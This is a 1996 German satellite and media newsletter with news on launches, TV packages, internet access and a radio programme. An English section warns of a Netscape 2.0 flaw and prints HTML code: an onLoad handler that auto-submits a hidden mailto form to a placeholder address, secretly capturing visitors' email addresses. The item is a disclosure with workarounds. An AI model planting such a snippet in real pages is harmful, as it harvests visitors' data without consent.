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Sat-ND, 14.3.96




Sat-ND -- Informationen zur europäischen Satelliten- und Medienszene

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Peter C. Klanowski, Fax +49-451-5820055, pck@LyNet.De

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Have a look at their homepage! >> http://www.TELE-satellit.com/ <<



Nachrichten vom 14.3.1996

Ein Auftrag weniger 
Um die übliche Reihenfolge einer solchen Meldung mal umzudrehen: Jetzt hat 
Arianespace nur noch 38 Satellitenstarts im Auftragsbuch. INTELSAT 707 wurde nach 
zweimaliger Verzögerung heute morgen um 8.11 Uhr MEZ reibungslos mit einer Ariane 
44LP gestartet. Nach den üblichen zwanzig Minuten Flugdauer wurde der Satellit in 
den Transferorbit entlassen, der im erdnächsten Punkt 200, im erdfernsten bereits 
knapp 36.000 Kilometer über der Erdoberfläche liegt. Die Bahn des Satelliten ist 
zunächst um 7 Grad gegenüber der Äquatorebene geneigt. 
INTELSAT 707 wurde von Space Systems/Loral in Palo Alto, Kalifornien, hergestellt 
und wog bei Start üppige 4.175 Kilogramm. Kein Wunder, befinden sich an Bord doch 
gleich 26 C- und 14 Ku-Band-Transponder. Sie werden (wahrscheinlich auf 50 Grad 
West) für transatlantische Kommunikation sorgen. Ursprünglich sollte INTELSAT 707 
auf 1 Grad West Skandinavien bestrahlen, doch nach dem Verlust von INTELSAT 708 
bei einem Startversuch in China wurde kurzfristig umdisponiert.
Der nächste Ariane-Start soll zwar am 19.4. stattfinden, doch ohne Verschiebung 
wird es sicherlich auch diesmal nicht abgehen. Zum Einsatz kommt dann eine Ariane 
42P, die den kanadischen Mobiltelefon-Satelliten M-SAT 1 ins All befördern soll.

Analoges Digitalfernsehen auf ASTRA
OM Peter Giersch setzte mich am heutigen Morgen in Verwunderung, als er 
berichtete, daß über Transponder 58, 10,847 GHz, v, etwas Offenes zu sehen sei. 
Dort tummelt sich "mTh", multiThematiques, mit einem Trailer für ein 
wunderschönes und buntes TV-Paket, in dem viele wunderlichen Dinge zu sehen sein 
sollen. Etwa Planet, der ja bereits allen Franzosen ein Begriff ist, mit seinen 
Dokumentar-Naturfilmen. Seasons mit einem Angel- und Jagdkanal. Cine Classics, 
mit Filmklassikern. Cyber TV, für alle, die mehr als StarTrek sehen wollen. Und 
dann gibt es auch noch Viola für die etwas besser Betuchten, mit Histörchen über 
die, "die Schlagzeilen machen". Es gibt darin ja auch so eine schöne Sendung wie 
"Home & Design", wo der verdatterte Zuschauer sehen kann, wie es sich in Burgen 
und Schlössern lebt. Was das Abo kostet, wurde nicht verraten. 
Das Ganze gibt es als Trailer auch auf ASTRA 1E, über 11,817 GHz, v. Und in 
einigen Monaten kann das jeder sehen, der sich eine d-box kauft, die nicht viel 
mehr als ein Videorecorder kosten soll. Freilich muß er auch noch seine 
Sat-Schüssel auf digital umrüsten. Wenn ich recht informiert bin, kann eigentlich 
die Schüssel bleiben, nur das LNB sollte ausgewechselt werden. Aber "mTh" muß es 
ja eigentlich besser wissen, die wollen ja in Zukunft auch digital empfangen 
werden.
Während meiner Telefonsprechstunde gab es heute viele Anfragen zu dem "neuen 
Kanal". Dafür halte ich den allerdings nicht, sondern nur für einen Trailer, der 
irgendwann auch wieder abgeschaltet wird. Auf alle Fälle kann man dadurch 
wenigstens auch analog mal sehen, was einen digital erwartet. Die andern 
"Digitalanwärter" lassen den Analoggucker vorerst mal im Ungewissen, was ihn 
erwartet. Auf alle Fälle gibt es wohl auch digital mal kurze Ausfälle. Das 
zumindest war heute beim Trailer unverkennbar. An der "Schüssel" lag es nicht, 
die dürfte mit 360 cm wohl nicht zu klein sein. (Norbert Schlammer)

Murdoch glitscht in China
Aus welcher Asche dieser Phönix aufsteigt, würde man gerne wissen. Phoenix ist 
der Codename eines Fernsehprojekts von Rupert Murdochs Star TV, mit dem der 
Medienmogul endlich auf dem chinesischen Markt Fuß fassen möchte. Verschiedene 
Zeitungen zwischen Hong Kong und London wollen wissen, daß es dabei vorangeht. 
Der Sender werde wohl als joint venture zwischen dem chinesischen Staatsfernsehen 
CCTV, Murdochs Star TV und einer in Hong Kong ansässigen Firma mit dem 
bezeichnenden Namen Carefree veranstaltet. Das ist eigentlich ein Ölkonzern, aber 
es paßt zur glitschigen Haltung des Rupert Murdoch gegenüber den chinesischen 
Diktatoren. Offiziell bestätigte keine Seite den bevorstehenden Deal, doch gab 
Star TV zu: "Wir sprechen schon immer mit CCTV." Murdoch selbst seufzte vor einer 
Woche noch im Wirtschaftsmagazin "The Economist" zum Thema China: "Das Bild ist 
verschwommen, und wir setzen zu."

Internet super-schnell 
Mit Beginn der Kommunikationsmesse CeBit in Hannover haben die 
Satellitenbetreibergesellschaft Eutelsat und Hughes Olivetti Telecom den 
digitalen Hochgeschwindigkeitszugang zum Internet, "DirecPC", gestartet. Der als 
kommerzieller "Package Delivery" konzipierte Service bietet über einen 
EUTELSAT-Transponder einen extrem schnellen und preisgünstigen 
Datenübertragungsweg, allerdings nur in eine Richtung. Vorerst werden Daten, 
bewegte Bilder und Software mit 6 MBit/s übertragen, später ist eine Verdoppelung 
der Übertragungsgeschwindigkeit geplant. Privatkunden sollen im kommenden Jahr 
DirecPC nutzen können, vorerst werden vorrangig Firmen angesprochen. In den USA 
wurde dieser Datendienst bereits 1995 gestartet. Einen Vorgeschmack gibt's im 
Internet unter http://www.direcpc.com. (Stefan Hagedorn/pck)


Ein Weltbild bricht zusammen
So kennen wir die Deutsche Telekom gar nicht. Mit Wirkung vom 1. Mai will sie 
nicht nur die Zuschläge für den Internet-Zugang über T-Online halbieren (3 DM pro 
Stunde statt 6 DM), sondern auch den Versand von Email kostenlos anbieten (bisher 
ebenfalls 6 DM pro Stunde Aufschlag zu den normalen T-Online- und 
Telefon-Gebühren). Telekom-Vorstand Herbert May: "Damit geben wir Kostenvorteile 
aus der intensiven Nutzung des Angebots an unsere Kunden weiter." Zu allem 
Überfluß sollen die Internet-Zugänge über neue Leitungen bald mit akzeptablen 
Geschwindigkeiten arbeiten. Übrigens: Wie in der neuen Ausgabe der Zeitschrift 
c't zu lesen war, hatte ein ISDN-Kunde aufgrund einer Beschwerde über Mängel am 
Internet-Zugang 300 Gebühreneinheiten zurückerstattet bekommen. Schreib' mal 
wieder!

» CompuServe hat inzwischen auch bemerkt, daß mit seinen deutschen Zugangsknoten 
etwas nicht stimmt. Nutzer kennen das: Entweder klingelt es bis in alle Ewigkeit, 
oder aber die Verbindung bricht vorzeitig zusammen. Der Geschäftsführer der 
deutschen CompuServe-Tochter, Felix Somm, gelobte heute Besserung: Die Probleme 
seien bekannt, bald gäbe es neue Einwahlknoten und "ISDN flächendeckend". Über 
sie sollen dann auch Angebote wie der Internet-Zugang Sprynet und der 
CompuServe-Ableger Wow erreichbar sein. In Deutschland hat CompuServe nach 
eigenen Angaben 250.000 Kunden, weltweit 4,5 Millionen.


Außerdem...

Und wieder einmal bliebt der Rest der Welt ohne Nachrichten der Deutschen Welle: 
Gestern abend um 19 Uhr fielen die deutschen Neuigkeiten dank Warnstreik aus. Der 
Sender will jetzt "arbeitsrechtliche Maßnahmen" gegen die Warnstreiker in der 
Nachrichtenredaktion einleiten, die sich im Rahmen der Tarifvertragsverhandlungen 
vor allem gegen eine Verlängerung ihrer Wochenarbeitszeit von 33 auf 38,5 Stunden 
wehren.


WebWatch

The Secret Life of Netscape 2.0
Many Netscape users might be unaware of the fact that their favourite Web browser 
comes with a scripting language built in. It is called JavaScript, and the main 
difference to common CGI programmes or scripts is that JavaScript is executed by 
the browser, not by the web server you're connected to. Web Authors have already 
discovered the possibilities of JavaScript; a search for this keyword using any 
of the well-known search engines should convince you.
But JavaScript can also be used to perform rather nasty tasks. It actually can 
grab your true email address (which normally isn't logged when you access any Web 
server, even though they record everything other bit of data they can get from 
you, especially your IP address.) 
Grabbing your email address is pretty simple, actually. The <BODY...> declaration 
of the HTML document just needs to contain the following statement:
	onLoad="document.grabber.submit()"
Somewhere in the body itself, an invisible form like this is required:
	<FORM METHOD=post NAME="grabber"
	ACTION="mailto:xxx@yyy.zzz?subject=anysubject">
	<INPUT TYPE=hidden NAME="anyname" VALUE="anyvalue"></FORM>
It may even be visible; but it doesn't matter whether you click any buttons or 
not: Every time you load this page you unknowingly, unwantingly send email to 
xxx@yyy.zzz. The message doesn't even appear it the "Sent" folder of Netscape 
2.0. Of course, subject and content are pretty irrelevant, but somebody's now got 
your email address.
There are some workarounds: Don't use buggy software like Netscape 2.0 at all. At 
least, don't use its built-in mail functions. Dedicated mail programmes do the 
job much better, and in contrast to Netscape, some are even free. Instead, supply 
Netscape's Options dialog with a fake address. Before doing so, however, you 
might want to check this URL:
http://www.popco.com/grabtest.html


Programmtip

Fritz Goes Satellite
Für Sat-Freaks im Raum Berlin/Brandenburg und für Besitzer eines ADR-Tuners gibt 
es am Montag, den 18. März, nur einen Sender: Fritz! Das unlängst hinter n-tv 
(Transponder 29, 11,641 GHz h, Unterträger 8,10 MHz) digital aufgeschaltete 
Jugendprogramm des Ostdeutschen Rundfunks Brandenburg veranstaltet einen 
Satelliten-Tag, um seine neuen Hörer (nämlich die per ADR) besser kennenzulernen. 
Im Fritz-Satelliten-Spiel werden bis zum 24.3. Satellitenhörer gegeneinander 
antreten, die möglichst weit weg von Berlin wohnen sollen. Für die Teilnahme 
bewerben kann man sich unter Fax +49-331-7213983, indem man seine Telefonnummer 
angibt und mitteilt, wann man am besten zu erreichen ist. Sie können sich auch 
per Email an Norbert Schlammer wenden (Adresse weiter unten.) Wer aus ganz Europa 
den Sender einfach nur so anrufen will, kann das auch tun: Hotline 
+49-331-7481110. Infos gibt's außerdem im Internet unter http://www.fritz.de.
Weitere Highlights des Satelliten-Tags am 18.3.: Ein Interview mit Jörg Wagner 
vom Medienmagazin von Radio Brandenburg gegen 8.20 Uhr. Und zwischen 17.00 und 
17.30 Uhr wird Norbert Schlammer live vorführen, was man sich an weltweiten 
Programmen ins Haus holen kann. Zu dem Zweck rückt der ORB nicht nur mit 
Moderatorin Stefanie, sondern eigens mit einem Ü-Wagen an. Das ganze geschieht im 
Rahmen einer Sendung zum Thema Satelliten- und ADR-Empfang zwischen 16 und 18 
Uhr.


Thanks to our contributors --

Norbert Schlammer: 100415.3560@compuserve.com
Stefan Hagedorn: 100702.350@compuserve.com 

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